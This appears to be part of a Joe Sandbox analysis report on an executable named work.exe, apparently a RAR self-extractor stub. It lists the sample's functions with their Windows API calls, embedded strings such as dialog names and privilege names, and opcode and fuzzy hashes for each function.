API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: a2c54a5d4389f7174ac393031d4f63639239365ef9d839e410cf81bb81491f96
Instruction ID: e804ace21ba8de9711858384227534bf95561e676ad2f449f5de5f492b904ee9
Opcode Fuzzy Hash: a2c54a5d4389f7174ac393031d4f63639239365ef9d839e410cf81bb81491f96
Instruction Fuzzy Hash: 5501D476A016107F232316B67CC9D7B6A6EEEC7BA0B150129FD08CA300EE649C01C2B0

Uniqueness

Uniqueness Score: -1.00%

Function 0033A599 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0033A7F0,0033C348,?,0033A543,00000001,00000364,?,00335281,00000050,?,00353070,00000200), ref: 0033A59E
_free.LIBCMT ref: 0033A5D3
_free.LIBCMT ref: 0033A5FA
SetLastError.KERNEL32(00000000,?,00353070,00000200), ref: 0033A607
SetLastError.KERNEL32(00000000,?,00353070,00000200), ref: 0033A610

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 0c166b2af34674386aaed56ca48a1691efe27bf2ba972a3d346e6c8528ca64c2
Instruction ID: bd7dd18d416832cae47fc7eba96af7cbd67f4fefd6a158a2e1106bb325dce976
Opcode Fuzzy Hash: 0c166b2af34674386aaed56ca48a1691efe27bf2ba972a3d346e6c8528ca64c2
Instruction Fuzzy Hash: F901493A244E0067931767246CC7E1B326EDBC2371F260024F9C5A6162EF248C015266

Uniqueness

Uniqueness Score: -1.00%

Function 0032220D Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 003224EF: ResetEvent.KERNEL32(?), ref: 00322501
Part of subcall function 003224EF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00322515

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00322241
CloseHandle.KERNEL32(?,?), ref: 0032225B
DeleteCriticalSection.KERNEL32(?), ref: 00322274
CloseHandle.KERNEL32(?), ref: 00322280
CloseHandle.KERNEL32(?), ref: 0032228C

Part of subcall function 00322303: WaitForSingleObject.KERNEL32(?,000000FF,00322526,?), ref: 00322309
Part of subcall function 00322303: GetLastError.KERNEL32(?), ref: 00322315

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 9fe7f667389cc1264a3d18e78e48c728f87d38c3704ef45b9a5c53f37287d9fc
Instruction ID: 329a6fad3383764cb12e0a07e6c9817745e1d279f99979639e464b6e6f353878
Opcode Fuzzy Hash: 9fe7f667389cc1264a3d18e78e48c728f87d38c3704ef45b9a5c53f37287d9fc
Instruction Fuzzy Hash: 31015E76000B04EFC7339B64ED85BC6FBADFB09710F014939F26A56160CB767A65CA90

Uniqueness

Uniqueness Score: -1.00%

Function 0033D9BF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0033D9D7

Part of subcall function 0033A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,0033DA56,?,00000000,?,00000000,?,0033DA7D,?,00000007,?,?,0033DE7A,?), ref: 0033A680
Part of subcall function 0033A66A: GetLastError.KERNEL32(?,?,0033DA56,?,00000000,?,00000000,?,0033DA7D,?,00000007,?,?,0033DE7A,?,?), ref: 0033A692

_free.LIBCMT ref: 0033D9E9
_free.LIBCMT ref: 0033D9FB
_free.LIBCMT ref: 0033DA0D
_free.LIBCMT ref: 0033DA1F

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5d4d34081239ef1bd355fda14b3e261e3ed93220fcf3e42f618d84fec72a1296
Instruction ID: 4bfaacc0d04c7d0f6d134b7c4eb5d773bfba8829b3b417098ea2dbf9608deb9d
Opcode Fuzzy Hash: 5d4d34081239ef1bd355fda14b3e261e3ed93220fcf3e42f618d84fec72a1296
Instruction Fuzzy Hash: A2F01272614B00EB8627DB64F9C7D1673EDBB04711F6A0C09F488EB561CB71FC808654

Uniqueness

Uniqueness Score: -1.00%

Function 00323338 Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00323340
_wcslen.LIBCMT ref: 00323351
_wcslen.LIBCMT ref: 00323361
_wcslen.LIBCMT ref: 0032336F
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,0031C844,?,?,00000000,?,?,?), ref: 0032338A

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: ea32f826a2f6b075ed259b0770ba0e11a2159f78d2b589b7db37761eed67a6f0
Instruction ID: bbccb9803166db102fd72d9b6ce97051cb5bae018fd520abff00496495cfcdf9
Opcode Fuzzy Hash: ea32f826a2f6b075ed259b0770ba0e11a2159f78d2b589b7db37761eed67a6f0
Instruction Fuzzy Hash: 06F01736008124BBCF136F61EC49DCE7F26EF95B60F258015FA296E061CE32A6659B90

Uniqueness

Uniqueness Score: -1.00%

Function 00339CD0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00339CEE

Part of subcall function 0033A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,0033DA56,?,00000000,?,00000000,?,0033DA7D,?,00000007,?,?,0033DE7A,?), ref: 0033A680
Part of subcall function 0033A66A: GetLastError.KERNEL32(?,?,0033DA56,?,00000000,?,00000000,?,0033DA7D,?,00000007,?,?,0033DE7A,?,?), ref: 0033A692

_free.LIBCMT ref: 00339D00
_free.LIBCMT ref: 00339D13
_free.LIBCMT ref: 00339D24
_free.LIBCMT ref: 00339D35

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ff8d01a0649f876dab881ea684c7d56c5d1be071942b2e18f41b36be5d211ef8
Instruction ID: 72c8edff994713e93b29dca1b69151d2cefa5233e02c3faf4dc2a5cdf64bc584
Opcode Fuzzy Hash: ff8d01a0649f876dab881ea684c7d56c5d1be071942b2e18f41b36be5d211ef8
Instruction Fuzzy Hash: CAF0F474501A50DBC62B6F14FC8380437B9F725722F150A0AF49D5A275DB725991CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00322948 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00322B06
_swprintf.LIBCMT ref: 00322BB5

Strings

%s: %s, xrefs: 00322B15
%ls, xrefs: 0032298B, 003229A1

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 7140af4e4e7cb43f98c64bc8cf11eeb9422ce3345f9ab45cabdd76e8dac121e7
Instruction ID: 01612befd9f60eca7b45bd8f74c9bda3ea814e86ecf098b08c6fb59f9661f684
Opcode Fuzzy Hash: 7140af4e4e7cb43f98c64bc8cf11eeb9422ce3345f9ab45cabdd76e8dac121e7
Instruction Fuzzy Hash: 2E51EC31688320FEEA275A94BC02F7B765DAF18B01F204506F7876CCE5CBA155A06717

Uniqueness

Uniqueness Score: -1.00%

Function 00339330 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe,00000104), ref: 00339370
_free.LIBCMT ref: 0033943B
_free.LIBCMT ref: 00339445

Strings

C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe, xrefs: 00339367, 0033936E, 0033939D, 003393D5

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe
API String ID: 2506810119-1799323542
Opcode ID: ad316f37401f6e552797677ebb94142d3326cdb23e60a47f6dca567a0e92533f
Instruction ID: 96b5613331481e19a9d131de26beb44ce76ee9dece111fcf720a8684d8ca3d15
Opcode Fuzzy Hash: ad316f37401f6e552797677ebb94142d3326cdb23e60a47f6dca567a0e92533f
Instruction Fuzzy Hash: 4D3183B1A04258EBDB23DB9A9CC1E9EBBFCEB85710F114067F5089B251D7B09A418B91

Uniqueness

Uniqueness Score: -1.00%

Function 00334366 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0033438B
_abort.LIBCMT ref: 00334496

Strings

MOC, xrefs: 0033439D
RCC, xrefs: 003343A5

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: bf1c1a6235b8461d0b86ad94f6a091a6676631ad2bf73b9dd583fb03bf957340
Instruction ID: 8619645d01c3986fea33a65e55138c75a48dc6e746b00c100dd30a3656b5d7ac
Opcode Fuzzy Hash: bf1c1a6235b8461d0b86ad94f6a091a6676631ad2bf73b9dd583fb03bf957340
Instruction Fuzzy Hash: 0C417A71900209AFCF16DF98DD81AEEBBB5FF08314F158069FA146B221D335E961DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00317F1B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00317F20

Part of subcall function 003142F1: __EH_prolog.LIBCMT ref: 003142F6

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00317FE5

Part of subcall function 00318704: GetCurrentProcess.KERNEL32(00000020,?), ref: 00318713
Part of subcall function 00318704: OpenProcessToken.ADVAPI32(00000000), ref: 0031871A
Part of subcall function 00318704: GetLastError.KERNEL32 ref: 00318759
Part of subcall function 00318704: CloseHandle.KERNEL32(?), ref: 00318768

Strings

SeRestorePrivilege, xrefs: 00317F77
SeSecurityPrivilege, xrefs: 00317F62

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ErrorH_prologLastProcess$CloseCurrentHandleOpenToken
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2595646239-639343689
Opcode ID: d7dd84048d9241dcfad7a38007f59684a76a0ce777f67e70a5ba986769ffd07e
Instruction ID: 8df3a883fb1094ae466579833e077fe88effdc0e03cebba6f313901e430929cd
Opcode Fuzzy Hash: d7dd84048d9241dcfad7a38007f59684a76a0ce777f67e70a5ba986769ffd07e
Instruction Fuzzy Hash: FC31C031940348BEDF2BEB649C41BEEBBBDAB0C354F040025F405AB191DB748A85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0032BDE0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 003112F6: GetDlgItem.USER32(00000000,00003021), ref: 0031133A
Part of subcall function 003112F6: SetWindowTextW.USER32(00000000,003445F4), ref: 00311350

EndDialog.USER32(?,00000001), ref: 0032BE68
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 0032BE7D
SetDlgItemTextW.USER32(?,00000066,?), ref: 0032BE92

Strings

ASKNEXTVOL, xrefs: 0032BDF8

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 37b7824eb5d8864163958e7be006664c5fdcf13bc36ecf3cfafa0a803331499f
Instruction ID: c9d9bd2b253f23052dbf1b96d06a40122f77a8409dcbae11331e3a0ea266e7a5
Opcode Fuzzy Hash: 37b7824eb5d8864163958e7be006664c5fdcf13bc36ecf3cfafa0a803331499f
Instruction Fuzzy Hash: 1F11E633600522BFE6239F68FC06FFAB7ADEB4A740F020414F744AB0B4C76299459766

Uniqueness

Uniqueness Score: -1.00%

Function 0031EC0C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 0031EC74
_strncpy.LIBCMT ref: 0031ECBA

Part of subcall function 003230F5: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00353070,00000200,0031EC48,00000000,?,00000050,00353070), ref: 00323112

Strings

$%s, xrefs: 0031EC69
@%s, xrefs: 0031EC5E

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: 5847c0c721275f8ae8f543280d8d6afedab34362d99bf308bbcfa4a9fa01dcec
Instruction ID: 842774401fb78232d619d62f9f2c8fcbcadf2441a10c74f26422a5bfd7054cce
Opcode Fuzzy Hash: 5847c0c721275f8ae8f543280d8d6afedab34362d99bf308bbcfa4a9fa01dcec
Instruction Fuzzy Hash: 6921A57284031CAEEB26DFA4CD41FDF3BE8AF09700F140522FD119A191E772E6848B91

Uniqueness

Uniqueness Score: -1.00%

Function 00322166 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,0031C04A,00000008,?,00000000,?,0031E685,?,00000000), ref: 003221A5
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,0031C04A,00000008,?,00000000,?,0031E685,?,00000000), ref: 003221AF
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,0031C04A,00000008,?,00000000,?,0031E685,?,00000000), ref: 003221BF

Strings

Thread pool initialization failed., xrefs: 003221D7

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 7ce859d655af0c3ae106b720f0cac53375090eda2b22e2334d92959db2a6c8ec
Instruction ID: 9b7e1e802694092b9ff75b775d6f63a2e97ddb8fa866023cac94d0d1aa23d3ab
Opcode Fuzzy Hash: 7ce859d655af0c3ae106b720f0cac53375090eda2b22e2334d92959db2a6c8ec
Instruction Fuzzy Hash: 5611E7B1604719AFD3224F7AAC84A97FBECFB55344F50482EF6D6C7200DA7069508B60

Uniqueness

Uniqueness Score: -1.00%

Function 0032C460 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 003112F6: GetDlgItem.USER32(00000000,00003021), ref: 0031133A
Part of subcall function 003112F6: SetWindowTextW.USER32(00000000,003445F4), ref: 00311350

EndDialog.USER32(?,00000001), ref: 0032C4AE
GetDlgItemTextW.USER32(?,00000066,?,00000200), ref: 0032C4C6
SetDlgItemTextW.USER32(?,00000067,?), ref: 0032C4F4

Strings

GETPASSWORD1, xrefs: 0032C479

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: eb49558c4a951bb5bc16ea809e73e6030d5a676c2fc7527c7e14867c224d95c6
Instruction ID: 8c6ac21c3652311772690440d0abaf92dd8634cb348201dd223ecb72edc7afd9
Opcode Fuzzy Hash: eb49558c4a951bb5bc16ea809e73e6030d5a676c2fc7527c7e14867c224d95c6
Instruction Fuzzy Hash: B611087291013876DB376A79BC99FFF376CEB45714F010421FB05F6480C27499429660

Uniqueness

Uniqueness Score: -1.00%

Function 0032EE2D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 0032EE81
REPLACEFILEDLG, xrefs: 0032EE6C, 0032EEA0

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 0fa0c3c1f0ff36c8e1e9ba612311f83fc10a89bfb6dd6a7e7f03446b6a88b34d
Instruction ID: 51478b6fc1e3b05bfcbc40fd6a6255bd6c52c29622e8584582adb41070234b97
Opcode Fuzzy Hash: 0fa0c3c1f0ff36c8e1e9ba612311f83fc10a89bfb6dd6a7e7f03446b6a88b34d
Instruction Fuzzy Hash: E20171B1604765EFD7234F69FC49A963FECFB05395F010125F90A87270D2B19890EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00314957 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0031495C

Part of subcall function 0032FD1D: std::invalid_argument::invalid_argument.LIBCONCRT ref: 0032FD29
Part of subcall function 0032FD1D: ___delayLoadHelper2@8.DELAYIMP ref: 0032FD4F

std::_Xinvalid_argument.LIBCPMT ref: 00314967

Strings

string too long, xrefs: 00314957
vector too long, xrefs: 00314962

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$Helper2@8Load___delaystd::invalid_argument::invalid_argument
String ID: string too long$vector too long
API String ID: 2355824318-1617939282
Opcode ID: 5dceaeb8ef23ea4168d2ac290921857fc64c7ef8fc5f903534e4a9490e0944e0
Instruction ID: 687ca0c5f4fe9db92959cf255efa016494eab81774957085bf29df31bae8db2f
Opcode Fuzzy Hash: 5dceaeb8ef23ea4168d2ac290921857fc64c7ef8fc5f903534e4a9490e0944e0
Instruction Fuzzy Hash: C8F0A0712003146B872AAF59FC45C8BB3EDEF89B50321092AFA45DB606D7B0F9408BF1

Uniqueness

Uniqueness Score: -1.00%

Function 0032ED2E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0032ED44
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0032ED80

Strings

sfxpar, xrefs: 0032ED7B
sfxcmd, xrefs: 0032ED3F

Memory Dump Source

